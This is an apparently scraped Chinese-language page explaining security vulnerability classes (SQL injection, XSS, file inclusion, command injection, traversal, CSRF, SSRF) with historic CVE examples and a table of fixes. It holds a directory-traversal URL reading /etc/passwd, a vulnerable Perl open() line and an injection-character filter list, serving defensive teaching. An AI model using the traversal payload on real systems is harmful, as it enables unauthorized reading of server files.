    Google Play的应用内购买机制的实现上存在的漏洞,在用户在Android应用内购买某些数字资产时会从Play 市场获取是否已经付费的验证数据,对这块数据的解析验证的代码存在逻辑问题,导致攻击者可以绕过验证不用真的付费就能买到东西。验证相关的代码如下:

    安全漏洞概念及分类

    代码会先检查回来的数据签名是否为空,不空的话检查签名是否正确,如果不对返回失败。问题在于如果签名是空的话并没有对应的else逻辑分支来处理,会直接执行最下面的return true操作,导致的结果是只要返回的消息中签名为空就会返回验证通过。

    输入验证类

    漏洞来源都是由于对来自用户输入没有做充分的检查过滤就用于后续操作,绝大部分的CGI漏洞属于此类。所能导致的后果,经常看到且威胁较大的有以下几类:  

    - SQL注入
    - 跨站脚本执行
    - 远程或本地文件包含
    - 命令注入
    - 目录遍历
    SQL注入

    Web应用对来自用户的输入数据未做充分检查过滤,就用于构造访问后台数据库的SQL命令,导致执行非预期的SQL操作,最终导致数据泄露或数据库破坏。   
    实例:
    - 一个网站Web应用的数值参数的SQL注入漏洞。

    安全漏洞概念及分类

    跨站脚本执行(XSS)

    Web应用对来自用户的输入数据未做充分检查过滤,用于构造返回给用户浏览器的回应数据,导致在用户浏览器中执行任意脚本代码。   
    实例: YouTube上的一个存储式XSS漏洞。

    安全漏洞概念及分类

    远程或本地文件包含

    安全漏洞概念及分类安全漏洞概念及分类

    如果Web应用支持在URL参数中指定服务器上的一个文件执行一些处理,对来自客户端URL数据及本地资源的访问许可如果未做充分的检查,攻击者可能通过简单的目录遍历串使应用把Web主目录以外的系统目录下的文件包含进来,很可能导致信息泄露。   
    实例:
    - 一个网站存在的本地文件包含的漏洞

    安全漏洞概念及分类

    命令注入

    涉及系统命令调用和执行的函数在接收用户的参数输入时未做检查过滤,或者攻击者可以通过编码及其他替换手段绕过安全限制注入命令串,导致执行攻击指定的命令。   实例:
    - AWStats 6.1及以下版本configdir变量远程执行命令漏洞( CVE-2005-0116 )
    典型的由于Perl语言对文件名特性的支持加入未充分检查用户输入的问题,导致的命令注入漏洞,awstats.pl的1082行:if (open(CONFIG,”$searchdir$PROG.$SiteConfig.conf”)) 。

    安全漏洞概念及分类

    目录遍历

    涉及系统用于生成访问文件路径用户输入数据时未做检查过滤,并且对最终的文件绝对路径的合法性检查存在问题,导致访问允许位置以外的文件。多见于CGI类应用,其他服务类型也可能存在此类漏洞。

    实例:

    -  Novell Sentinel Log Manager “filename”参数目录遍历漏洞( CVE-2011-5028 )

    http://www.example.com/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd

    -  HP Data Protector Media Operations DBServer.exe目录遍历漏洞

    在HP Data protecetor Media Operations的客户端连接服务端时,通过私访有的通信协议,客户端会首先检查[系统分区]:/Documents and Settings/[用户名]/Application Data下面是否有相应的资源(如插件等),如果没有,则会向服务器请求需要的文件,服务器没有验证请求的文件名的合法性,而且这个过程不需要任何验证,攻击者精心构造文件名,可以读取服务端安装目录所在分区的任意文件。

    安全漏洞概念及分类

    - RHINOSOFT SERV-U FTP SERVER远程目录遍历漏洞

    安全漏洞概念及分类

    Caucho Resin远程目录遍历漏洞

    安全漏洞概念及分类

    设计错误类

    系统设计上对安全机制的考虑不足导致的在设计阶段就已经引入的安全漏洞。

    实例:

    -  LM HASH算法脆弱性

    安全漏洞概念及分类

    这个算法至少存在以下3方面的弱点:

    1、口令转换为大写极大地缩小了密钥空间。
    2、切分出的两组数据分别是独立加密的,暴力破解时可以完全独立并行。
    3、不足7字节的口令加密后得到的结果后半部分都是一样的固定串,由此很容易判定口令长度。

    这些算法上的弱点导致攻击者得到口令HASH后可以非常容易地暴力猜测出等价的明文口令。

     -   Microsoft Windows图形渲染引擎WMF格式代码执行漏洞(MS06-001) (CVE-2005-4560)

        如果一个WMF文件的StandardMetaRecord中,Function 被设置为 META_ESCAPE而Parameters[0] 等于SETABORTPROC,PlayMetaFileRecord()就会调用Escape()函数,Escape()调用SetAbortProc()将自己的第四形参设置为一个回调函数,把图像文件中包含的一个数据块象Shellcode那样执行。此漏洞从Windows 3.1一直影响到2003,攻击者只要让用户处理恶意的WMF文件(通过挂马或邮件)在用户系统上执行任意指令,漏洞实在是太好用影响面太大了,以至有人认为这是一个故意留的后门,其实影响设计的功能是处理打印任务的取消,功能已经被废弃,但废弃的代码并没有移除而导致问题。

      – 搜狐邮箱密码找回功能

        密码找回功能在要求用户提供找回密码需要的问题答案时,在返回给用户的页面中就已经包含了答案,只要通过查看页面源码就能看到,使这个找回密码功能的安全验证完全形同虚设,攻击者由此可以控制任意邮箱。之所以这么设计,可能就是为了尽可能地少对数据库的查询,而把用户帐号安全根本不放在心上。

    安全漏洞概念及分类

      – 紫光输入法用户验证绕过漏洞

    这是类似于2000年微软输入法漏洞的例子,通过访问输入法设置的某些功能绕过操作系统的用户验证执行某些操作。

    安全漏洞概念及分类

    配置错误类

    系统运维过程中默认不安全的配置状态,大多涉及访问验证的方面。

    实例:

      – JBoss企业应用平台非授权访问漏洞( CVE-2010-0738 )

    对控制台访问接口的访问控制默认配置只禁止了HTTP的两个主要请求方法GET和POST,事实上HTTP还支持其他的访问方法,比如HEAD,虽然无法得到的请求返回的结果,但是提交的命令还是可以正常执行的。

    安全漏洞概念及分类

    展开全文
  • 结和学习了2017年新发布的owasp top 10 十大漏洞,每个漏洞从原理、案列、解决方法上进行阐述
  • GB∕T 33561-2017 信息安全技术 安全漏洞分类 国家标准
  • 对常用的一些应用安全漏洞进行梳理并给出初步的防范建议
  • 常见安全漏洞

    2018-06-27 19:53:18
    1、SQL注入许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得...
    1、SQL注入
    许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection ,即SQL注入。
    其主要危害有:在未经授权状况下操作数据库中的数据;恶意篡改网页内容;私自添加系统帐号或者是数据库使用者帐号;网页挂木马等。

    SQL注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。

    2 、XSS
    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
    其主要危害有:攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。

    发生在客户端DOM(Document Object Model文档对象模型)DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不需要提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞


    3、 信息泄露

    信息泄露是指应用程序泄露应该保密的信息,例如客户端注释中泄露敏感信息、系统日志泄露敏感信息等。这些泄露的信息可能会对攻击者进一步了解应用程序,以致攻击应用程序提供一定的帮助。


    用户认证信息明文传输: 用户认证信息不是通过https加密信道传输,导致用户名密码等敏感信息泄露。

    4、 越权漏洞
    越权漏洞是指由于应用程序未正确实现授权功能,造成用户可以执行其没有资格执行的操作,包括可以查看或修改他本身没资格查看或修改的资源,以及可以执行用户本身没有的功能。


    5、 暴力破解
    暴力破解是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止。攻击者利用该漏洞可以破解存在该漏洞的应用程序的用户密码。


    6、 文件上传漏洞
    文件上传漏洞是由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。恶意攻击者利用该漏洞可以直接向服务器上传一个 webshell( 又称 ASP 木马、PHP 木马等即利用服务器端的文件操作语句写成的动态网页,可以用来编辑你服务器上的文件 ),从而控制该网站。


    7、 CSRF
    跨站请求伪造(CSRF)是 Web 应用程序一种常见的漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量 Web 2.0 技术的应用的背景下,CSRF 攻击完全可以在用户法毫无察觉的情况下发起攻击。发起的目标都是通过伪造一个用户请求,该请求不是用户想发出去的请求,而对服务器或服务来说这个请求是完全合法的一个请求,但是却完成了一个攻击者所期望的操作,比如添加一个用户到管理者的群组中,或将一个用户的现金转到另外的一个帐户中。


    8、 路径遍历漏洞
    许多功能强迫Web应用程序根据用户在请求中提交的参数向文件系统读取或写入数据。如果以不安全的方式执行这些操作,攻击者就可以提交专门设计的输入,使得应用程序访问开发者并不希望他访问的文件,这就是路径遍历漏。攻击者可利用这种缺陷读取密码和应用程序日志之类的敏感数据,或者复写安全性至关重要的数据项,如配置文件和软件代码。在最为严重的情况下,这种漏洞可使攻击者能够完全攻破应用程序与基础操作系统。


    9 、服务器开启了不安全的http方法

    OPTIONS方法是用于请求获得由Request-URI标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能。开启该方法有可能泄漏一些敏感信息,为攻击者发起进一步攻击提供信息。

    TRACE_Method是HTTP(超文本传输)协议定义的一种协议调试方法,该方法会使服务器原样返回任意客户端请求的任何内容。由于该方法会原样返回客户端提交的任意数据,因此可以用来进行跨站脚本(简称XSS)攻击,这种攻击方式又称为跨站跟踪攻击(简称XST)。


    注:转载自:https://blog.csdn.net/netuser1937/article/details/53738737

    展开全文
  • 安全漏洞的分类、描述与解决方案

    千次阅读 2018-05-21 22:03:06
    整理了下安全漏洞,方便进行安全测试用。漏洞列表漏洞描述问题类型风险等级解决方案SQL注入漏洞主要是SQL注入漏洞,对用户提交CGI参数数据未做充分检查过滤,用户提交的数据可能会被用来构造访问后台数据库的SQL指令...

    整理了下安全漏洞,方便进行安全测试用。



    漏洞列表漏洞描述问题类型风险等级解决方案
    SQL注入漏洞主要是SQL注入漏洞,对用户提交CGI参数数据未做充分检查过滤,用户提交的数据可能会被用来构造访问后台数据库的SQL指令,从而非授权操作后台的数据库,导致敏感信息泄漏、破坏数据库内容和结构、甚至利用数据库本身的扩展功能控制服务器操作系统。通常在SQL查询语句、LADP查询语句、XPATH查询语句、OS命令,XML解析器、SMTP头、程序参数等中找到。代码编程类使用安全的API,避免使用解释器;对输入的特殊字符进行Escape转义处理;使用白名单来规范化的输入验证方法。sql语句全部使用参数形式调用,不拼sql语句,对输入都要验证:客户端验证+服务器端验证
    跨站脚本漏洞XSS跨站脚本漏洞,即XSS,通常用Javascript语言描述,利用的是客户端的弱点,常见3种漏洞,1)存储式;2)反射式;3)基于DOM。由于动态网页的web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中加入HTML、JS代码,未加编码地输出到第三方用户的浏览器,恶意攻击者可以利用Javascript、VBScript、ActiveX、HTML语言甚至Flash应用的漏洞,发送恶意代码给另一个用户,因为浏览器无法识别脚本是否可信,从而跨站漏洞脚本便运行并让攻击者获取其他用户信息。攻击者能盗取会话cookie或session、获取账户、模拟其他用户身份,甚至可以修改网页呈现给其他用户的内容。代码编程类
    对应用系统源代码进行优化,对用户可控参数,进行严格的后台检测和过滤,对特殊字符进行转义,不能简单的进行JS过滤。
    对所有web应用输入参数进行过滤,建议过滤出所有以下字符:
    [1] |(竖线符号)
    [2] &(&符号)
    [3];(分号)
    [4] $(美元符号)
    [5] %(百分比符号)
    [6] @(at 符号)
    [7] '(单引号)
    [8] "(引号)
    [9] \'(反斜杠转义单引号)
    [10] \"(反斜杠转义引号)
    [11] <>(尖括号)
    [12] ()(括号)
    [13] +(加号)
    [14] CR(回车符,ASCII 0x0d)
    [15] LF(换行,ASCII 0x0a)
    [16] ,(逗号)
    [17] \(反斜杠)
    或者对特殊字符进行html编码,例如php中的htmlspecialchars()这样的函数。
    会话预测漏洞攻击者推断或猜测出会话凭证,劫持用户会话或仿冒用户,从而获得非授权访问。如在给用户传送的cookies时,用户有可能利用该信息猜测到会话ID。如果成功利用该安全漏洞,恶意用户就可以获取其它合法用户的基于cookie的认证,从而利用该用户的权限进行破坏活动。代码编程类1.不进行默认身份验证,2.使用强大的认证,3.不要在URL中暴露会话ID。
    会话管理漏洞Web应用程序允许重复使用会话凭证或会话ID,导致攻击者冒充其他用户身份。如1、用户更改密码之前不验证用户,而是依靠会话的IP地址;2、没有会话超时限制,如用户使用公共计算机访问网站。离开时,该用户没有点击退出,而是直接关闭浏览器;3、用户忘记密码后,密码找回功能太过简单。4、机票预订应用程序支持URL重写,把会话ID放在URL里。4、内部或外部攻击者进入系统的密码数据库. 存储在数据库中的用户密码没有被加密代码编程类
    1、区分公共区域和受限区域,站点的公共区域允许任何用户进行匿名访问。受限区域只能接受特定用户的访问,而且用户必须通过站点的身份验证。
    2、对最终用户帐户使用帐户锁定策略,3、支持密码有效期,4、能够禁用帐户,5、不要在用户存储中存储密码,可以存储一个单向哈希值,然后使用用户所提供的密码重新计算哈希值。为减少对用户存储的词典攻击威胁,可以使用强密码,并将随机 salt 值与该密码结合使用。
    6、要求使用强密码,7、不要在网络上以纯文本形式发送密码
    8、保护身份验证 Cookie9、使用 SSL 保护会话身份验证 Cookie
    10、对身份验证 cookie 的内容进行加密
    11、限制会话寿命,12、避免未经授权访问会话状态
    不安全的直接对象引用指一个已经授权的用户,通过更改访问时的一个参数,从而访问到了原本其并没有得到授权的对象。Web应用往往在生成Web页面时会用它的真实名字,且并不会对所有的目标对象访问时来检查用户权限,所以这就造成了不安全的对象直接引用的漏洞。常见的错误暴露数据的位置是URL和超链接、隐藏表单域、ASP.NET的未保护视图状态、直接列表框、JavaScript代码和客户端对象(如Java Applet)。代码编程类防止这种漏洞的最佳方法是使用随机、不可猜测的ID、文件名和对象名,而且不要暴露对象的真实名称。方法有两种:1使用非直接的对象引用——这防止了攻击者直接访问其并未授权的对象,通过一种mapping或是其他的方法让攻击者无法直接访问。2. 检查访问——对每一个来自于不信任的源的直接对象引用都必须包含访问控制检查,从而确信该用户对该对象拥有访问权。每次访问敏感文件或内容时,都要验证访问数据的用户已获得授权
    跨站请求伪造跨站请求伪造,即CSRF,CSRF利用的是网站服务器的弱点代码编程类
    CSRF漏洞防御主要可以从三个层面进行,即服务端的防御、用户端的防御和安全设备的防御。1.给每个HTTP请求添加一个不可预测的令牌,并保证该令牌对每个用户会话来说是唯一性。最好的办法是将独有的令牌包含在隐藏字段中,通过HTTP请求发送,避免在URL中暴露出来。2.设定短暂的可信用户会话时间。 3.每次提出一个可信行为时,对发出请求的用户进行验证。 4.在URL和表单中增加的每个请求提供基本会话令牌以外的每个请求用户验证。
    5.从应用程序中删除所有XSS脆弱性。攻击者通过XSS可获得有用的攻击信息。例如,攻击者可以伪造一个提示用户输入身份信息的表单
    URL跳转漏洞攻击者挟持用户在当前已登录的web应用程序执行非本意的操作,url跳转属于跨站请求伪造的一种,我们需要对传入的URL做有效性的认证,保证该URL来自于正确的地方,对web程序不恰当的状态管理可能导致攻击者绕过页面正常访问顺序的攻击代码编程类
    限制的方式同防止csrf一样可以包括:

    1 referer的限制

    如果确定传递URL参数进入的来源,我们可以通过该方式实现安全限制,保证该URL的有效性,避免恶意用户自己生成跳转链接

    2 加入有效性验证Token

    我们保证所有生成的链接都是来自于我们可信域的,通过在生成的链接里加入用户不可控的Token对生成的链接进行校验,可以避免用户生成自己的恶意链接从而被利用,但是如果功能本身要求比较开放,可能导致有一定的限制。
    任意文件包含漏洞严格来说,文件包含漏洞是“代码注入”的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含,文件包含漏洞可能出现在JSP、PHP、ASP等语言中,原理都是一样的,分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI),能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞。利用本地文件包含漏洞,可以查看系统任意文件内容,如果具备一些条件,也可以执行命令文件。包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成了本地文件包含漏洞代码编程类一般的做法是将用户文件访问限制在指定的区域或者是通过白名单的方式包含文件。具体是从代码层和Web服务器安全配置两个方面来防范。首先来从代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。一种保险的做法是采用“白名单”的方式将允许包含的文件列出来,只允许包含白名单中的文件。还有一种做法是将文件包含漏洞利用过程中的一些特殊字符定义在黑名单中,对传入的参数进行过滤,但这样有时会因为过滤不全,导致被有经验的攻击者绕过。在Web服务器安全配置方面可以通过设定php.ini中open_basedir的值将允许包含的文件限定在某一特定目录内,这样可以有效避免利用文件包含漏洞进行的攻击
    任意文件上传漏洞由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本代码编程类1.检查是否判断了上传文件类型及后缀2.定义上传文件类型白名单,即只允许上传的文件类型3.文件上传目录禁止脚本解析
    任意文件读取漏洞(包括了任意文件下载漏洞)攻击者可以通过或者后台登录之后读取任意文件包括数据库配置文件.可导致入侵者获得数据库权限并利用数据库提权进一步获得系统权限。如系统未对传入的URL进行限制,并且部分服务器(192.168.7.2、192.168.7.4)上的weblogic以root权限运行,导致攻击者可以下载任意文件。代码编程类将文件下载的路径限制在可控的范围之内,例如:专用于文件下载的目录。
    未验证的重定向和转发Web应用程序在重定向至其他网页和网站时,接收不受信任的数据来确定目标网页,攻击者可将用户重定向至钓鱼或恶意网站,或访问未经授权的网页代码编程类
    尽可能的避免使用重定向和转发机制;
    如果使用了,那么在定义目标url的时候不要包含用户参数;
    如果一定要包含用户的参数,那么,对每个参数都必须进行验证以确保它的正确性和合法性;或是在服务器端提供映射机制,将用户的选择参数转变为真正的目标页面;
    拒绝服务漏洞攻击者想办法让目标机器停止提供服务或资源访问,是黑客常用的攻击手段之一。这些资源包括磁盘空间、内存、进程甚至网络带宽,从而阻止正常用户的访问。。典型的拒绝服务攻击有如下两种形式:资源耗尽和资源过载。拒绝服务攻击大多是由于错误配置或者软件弱点导致的。代码编程类1.配置方面:对网络防火墙等方面找专业人员进行配置。2.软件引起的漏洞只能依靠打补丁。
    组件漏洞指的是开发人员使用的组件含有漏洞,这些漏洞能被自动化工具发现和利用。然后攻击者根据需要定制攻击代码并实施攻击。代码编程类
    尽量使用最新版本的组件,如果没有使用最新版本组件,建议项目有以下流程1.标识正在使用的所有组件及其版本。
    2.及时关注这些组件的安全信息并保证他们是最新的。
    3.建立使用组件的安全策略,禁止使用未经安全评估的组件。
    4.在适当情况下,对组件进行安全封装,精简不必要的功能,封装容易受攻击部分。
    XML注入漏洞如同HTML脚本注入一样,在输出中包含攻击者提供的数据的地方,XML是容易受到攻击的。三种最常见的XML注入攻击是:XML数据注入、可扩展样式表语言转换(Extensible Stylesheet Language Transformation,XSLT)注入和XPath/XQuery 注入。代码编程类检查所使用的底层xml解析库,默认禁止外部实体的解析,同时增强对系统的监控,防止此问题被人利用
    暴力破解因认证强度低于业务安全要求或登录页面未使用验证码校验机制,攻击者可以通过穷举方式自动猜测用户登录身份凭证,会话凭证以及未公开目录及文件名,代码编程类增加校验码验证机制,不要存在用户名与密码一样的用户。
    自动表单提交攻击者使用表单提交工具,向登录、注册服务等表单自动提交信息的恶意行为。代码编程类在登录或注册页面增加例如验证码、随机问题等来防止恶意行为。
    权限绕过攻击者绕过权限认证对敏感内容或功能进行非授权访问代码编程类所有页面都要增加认证控制。
    不安全密码恢复机制网站采用了不安全的密码恢复机制,攻击者可以通过暴力破解、安全问题猜测等手段绕过密码恢复机制,从而非法获得、更改或回复他人的密码。代码编程类找回密码等密码恢复地方时,不要暴露用户名或用户密码等用户信息。
    非授权访问漏洞简单说就是未经授权可以直接访问后台页面,具体说是因用户账号设计不合理或服务端未做权限校验,web应用未能有效执行授权检查,攻击者可以违反安全策略,执行权限之外的功能或者访问权限之外的数据或功能。代码编程类
    1.添加用户会话检查及权限控制代码
    2.检查管理权限的过程并确保能够容易进行升级和审计,切记硬编码。
    3.默认缺省情况下,应该拒绝所有访问的执行权限。对于每个功能的访问,需要明确角色授权。
    4.检查每个功能分配的权限合理有效。
    不恰当的错误处理基于后台数据库的web应用在出现错误时会输出过于丰富的信息,比如错误类型,出现错误脚本的绝对路径,网页主目录的绝对路径,出现错误的sql语句及参数,软件的版本,系统的配置信息等。信息泄漏本身并不太重要,但结合其他漏洞可极大地提高攻击入侵的效率。代码编程类
    URL猜测攻击者通过猜测不在正常网站目录树的URL链接,进一步实现越权访问代码编程类
    敏感信息泄漏攻击者在实施攻击前收集应用程序信息,包括web服务器软件类型及版本,web应用程序编程语言、数据库版本、文件路径等信息代码编程类
    1.避免将服务器的信息泄露到程序的任何界面中,包括异常信息。
    2.预测一些威胁,加密数据的存储和传输。
    3.尽快清除没有必要存放的重要的敏感数据。
    4.确保使用合适强大的标准算法和密钥,并且密钥管理到位。
    5.确保使用密码专用算法存储密码
    6.禁用自动收集敏感数据,禁用包含敏感数据的页面缓存。
    目录遍历攻击漏洞服务端将Web服务器路径直接输出到页面的隐藏表单中或其他地方,攻击者操纵输入参数使应用系统执行或透露任意文件内容,或对服务器任意文件目录进行读写删除等操作代码编程类避免将服务器的路径信息泄露到客户端页面中
    安全审计功能缺失漏洞缺乏有效的安全审计功能,无法对应应用程序重要安全事件进行审计代码编程类增加审计功能
    后门后门是攻击者在参与应用程序开发的过程中,特意留下可绕过系统安全控制的功能或超级密码。在系统上线后利用后门非授权访问系统的数据或功能代码编程类修改完善系统,去掉后门程序
    系统弱口令漏洞存在弱口令如aaaaaa,123456等。系统配置类修改系统中的帐号口令,要求满足复杂性要求(包含大小写字母、数字、特殊符号中的任意三种,至少6位以上)。
    OS命令注入漏洞OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令代码编程类
    1.不要调用外部程序2.过滤调、;,[,], ,<,>,\之类的符号。
      3.设置用户的权限。
    服务器端请求伪造漏洞SSRF
    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
    SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等
    代码编程类
    1,过滤返回信息,在返回给用户之前先验证返回的信息是否符合标准。
    2, 自定义错误信息,防止根据错误信息来判断远端服务器的端口状态。
    3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
    4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
    5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
    6,如果web应用提供的功能是获取某一种文件类型,比如图片,则可以限制为jpg等
    逻辑漏洞一般指业务逻辑存在BUG,可能会导致账户余额可能被消费,隐私被泄露等。代码编程类修改业务逻辑,增加校验
    IIS短文件(夹)名泄露windows下通过~表示短文件名,如:test~1,在IIS中可通过短文件名的方式判断目标文件是否存在,从而降低文件名暴力猜解的难度。系统配置类禁止url中使用“~”或它的Unicode编码,关闭windows的8.3格式功能,或者升级IIS。关闭方法:修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1,然后运行,再重启下机器。(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除)。
    功能滥用攻击者滥用Web应用提供的功能(如邮件发送,找回密码等)导致资源耗尽,访问控制机制被绕过,信息泄露等代码编程类从代码中进行检查,从资源释放等。避免出现长时间操作一个功能导致程序卡死。
    代码执行漏洞用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。代码编程类
    建议假定所有输入都是可疑的,尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入,系统命令执行函数的参数不允许外部传递。

    ·不仅要验证数据的类型,还要验证其格式、长度、范围和内容。

    ·不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

    ·对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。

    ·在发布应用程序之前测试所有已知的威胁。
    安全配置错误系统配置类
    审计内容缺失漏洞审计记录内容不完整代码编程类补充审计记录内容
    文档漏洞检查程序安装说明,使用手册时发现存在的漏洞,如没有指定开放的端口号等。系统配置类修改文档,使其符合安全性标准。
    展开全文
  • 常见安全漏洞及解决方案

    千次阅读 2018-06-30 17:13:35
    CSRF攻击XSS攻击DoS攻击Jsonp劫持SQL注入
  • 在详细讲述通过5个基础方法构建低成本、高效、准确的登录性认证体系之前,有必要先梳理一下当今4个最严重的安全漏洞。  是否能有效修补这4个最严重的安全漏洞,将成为检验5个基础方法的是否有效的重要检验指标。 ...
  • ## 记录一次漏洞修复,openssh安全漏洞(CVE-2017-15906)以及openssh用户枚举漏洞(CVE-2018-15919)内网openssh升级过程。 在工作中偶然发现我的服务器两个漏洞,openssh安全漏洞(CVE-2017-15906)以及openssh...
  • 在最糟糕的情况下,攻击者可以利用漏洞从 WPA2 设备破译网络流量、劫持链接、将内容注入流量中。换言之,攻击者通过漏洞可以获得一个万能密钥,不需要密码就可以访问任何 WAP2 网络。一旦拿到密钥,他们就可以窃听你...
  • Android手机App安全漏洞整理

    千次阅读 2017-03-07 23:04:09
    APP安全漏洞整理 1.源码安全漏洞 1.1 代码混淆漏洞 当前APK文件的安全性是非常令人堪忧的。APK运行环境依赖的文件/文件夹 res、DEX、主配文件Lib 只有简单的加密或者甚至没有任何加密。诸如apktool这类工具可轻易...
  • Struts2安全漏洞

    千次阅读 2014-07-27 01:24:20
    近日网上公布了Struts一个严重的命令执行漏洞,在我国互联网环境影响巨大,本文将对这个漏洞进行分析和描述。 Struts是Apache软件基金会Jakarta项目组的一个开源项目,它采用MVC模式,帮助java开发者利用J2EE开发...
  • (转载)安全漏洞概念及分类

    千次阅读 2014-05-08 12:20:20
    http://pan.baidu.com/s/1kT9LT4r
  • 网站10大常见安全漏洞及解决方案

    万次阅读 2018-05-30 20:55:14
    一般来说牛逼点的地方都会通过安全设备来确保网络环境的安全,所以之前我们也都认为程序员不需要过多的考虑网站安全问题。实际上随着做了几个事业单位的网站之后,也逐渐发现有些方面还是需要程序员注意的。1. SQL...
  • 安全漏洞分类

    千次阅读 2013-05-16 16:52:55
    漏洞是在硬件、软件、协议的具体实现或系统安全策略上(主要是人为)存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。 分类 1. 从数据角度看分为 ●能读按理不能读的数据,包括...
  • 1  Oracle Database Server远程安全漏洞(CVE-2015-4863) 2  Oracle Database Server OJVM 本地安全漏洞(CVE-2017-10202) 3  Oracle Database Server Java VM组件安全漏洞(CVE-2018-3110) 4  Oracle Database ...
  • Android开发常见安全漏洞总结

    千次阅读 2019-04-24 00:31:11
    目录WebView组件远程代码执行漏洞addJavascriptInterface接口解决方案searchBoxJavaBridge_接口解决方案accessibility 和 accessibilityTraversal解决方案WebView跨域访问漏洞解决方案WebView组件忽略SSL证书验证...
  • Redis安全漏洞影响及加固方法

    千次阅读 2018-10-12 17:04:38
    Redis安全漏洞影响及加固方法 Redis安全漏洞影响: 1、 Redis因配置不当可以未授权访问,很容易被攻击者恶意利用。如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录、控制服务器,引发...
  • 权限漏洞:水平权限漏洞、垂直权限漏洞

    万次阅读 多人点赞 2019-07-31 19:21:31
    水平权限漏洞是指Web应用程序接收到用户请求时,没有判断数据的所属人,或者在判断数据所属人时是从用户提交的参数中获取了userid,导致攻击者可以自行修改userid修改不属于自己的数据。 漏洞示例: XXX/...
  • 业务安全漏洞挖掘归纳总结

    千次阅读 2015-08-13 10:27:33
    6.30在OWASP的分享,关于业务安全漏洞检测模型。进一步的延伸科普。 0x01 身份认证安全 1 暴力破解 在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用...
  • 服务器安全漏洞修复

    千次阅读 2018-01-29 15:55:27
    1************************2017年8月发现漏洞1***************************** 漏洞名称: RHSA-2017:1100: nss and ...请参照Redhat安全公告RHSA-2017:1100了解受到影响的软件包和补丁细节,并对相应的软件包进行升
  • 摘要 网络安全漏洞披露已成为网络安全风险控制的中心环节。不规范或非法的网络安全漏洞披露危害网络空间整体安全,凸显法律规定的灰色地带。实践中网络安全漏洞披露表现为不披露、完全披露、负责任披露和协同披露等...
  • web 应用常见安全漏洞一览

    千次阅读 2019-02-25 17:20:52
    SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外部不可信任的数据作为参数进行数据库的增、删、改、查时,如果未对外部数据进行过滤,就会产生 SQL 注入漏洞。 比如: name = "...
  • 软件漏洞分析简述

